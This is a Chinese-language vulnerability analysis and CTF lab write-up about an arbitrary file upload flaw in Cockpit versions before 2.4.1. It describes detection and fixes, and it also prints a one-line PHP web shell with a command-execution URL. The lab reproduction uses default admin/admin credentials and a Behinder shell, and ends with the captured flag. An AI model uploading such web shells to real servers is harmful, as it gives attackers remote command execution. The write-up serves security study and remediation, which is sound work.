CVE-2023-1313 漏洞分析
描述:
Cockpit 是一个轻量级的 Linux 系统管理界面。在 2.4.1 版本之前的 Cockpit 存在任意文件上传漏洞,攻击者可以通过访问 /install 路径利用此漏洞上传任意文件,可能导致远程代码执行或其他高危后果。
漏洞细节
- 受影响版本:
- Cockpit 版本:< 2.4.1
- 漏洞位置:
- 访问 /install 页面,攻击者可以利用缺乏验证的文件上传功能。
- 攻击场景:
- 攻击者可以通过构造恶意文件上传请求,将任意代码或脚本注入服务器上,从而实现远程代码执行。
- 触发条件:
- 目标服务器启用了 Cockpit 并运行受影响版本。
- /install 页面对外暴露,没有限制访问。
利用方式
PoC (Proof of Concept): 通过浏览器或工具直接访问目标的 /install 页面,并上传恶意文件。以下是可能的步骤:
-
打开目标服务器的 /install 页面:
http://<target_ip>/install
-
上传一个包含恶意代码的文件,例如:
<?php system($_GET['cmd']); ?>
-
在服务器执行命令,例如:
http://<target_ip>/uploads/malicious.php?cmd=id
修复方案
-
升级到安全版本
立即升级到 Cockpit 2.4.1 或更高版本:sudo apt update sudo apt install cockpit
升级后,验证版本:
cockpit --version
- 禁用 /install 页面
- 确保安装完成后,禁用或删除 /install 页面。
- 检查 install 文件或目录的权限:
sudo rm -rf /path/to/cockpit/install
-
配置访问控制
- 使用防火墙限制访问 Cockpit 的端口(默认是 9090):
sudo ufw allow from <trusted-ip> to any port 9090
- 配置基于身份验证的访问控制。
- 使用防火墙限制访问 Cockpit 的端口(默认是 9090):
-
使用 WAF (Web Application Firewall)
- 部署 Web 应用防火墙(如 ModSecurity)来检测和阻止恶意上传请求。
-
检查服务器是否已被入侵
- 搜索是否有意外上传的文件:
find /path/to/cockpit/uploads -type f
- 检查最近的访问日志:
cat /var/log/apache2/access.log | grep "/install"
- 搜索是否有意外上传的文件:
检测和利用工具
- 自动化漏洞扫描
- 使用工具检测暴露的 /install 路径,例如:
nmap --script http-enum -p 80,443 <target_ip>
- 使用工具检测暴露的 /install 路径,例如:
- 手动验证
- 尝试通过浏览器访问目标的 /install 页面并上传测试文件。
- 渗透测试工具
- 使用 Burp Suite 或其他代理工具捕获并修改文件上传请求。
漏洞复现
靶标介绍:
cockpit在2.4.1版本之前存在任意文件上传漏洞PS:通过在浏览器中打开/install来运行安装
登录界面,访问url/install
得到账号密码admin、admin
登录之后发现文件上传页面
写入一句话木马,或者用冰蝎码都可以
右键打开下载文件地址
http://eci-2ze98fpx2rnkzz8apaiu.cloudeci1.ichunqiu.com/storage/uploads//2024/12/13/a_uid_675bd710edcb8.php
连接就可以查看到flag
flag{701b1392-3382-45f8-8503-3731fc1c90aa}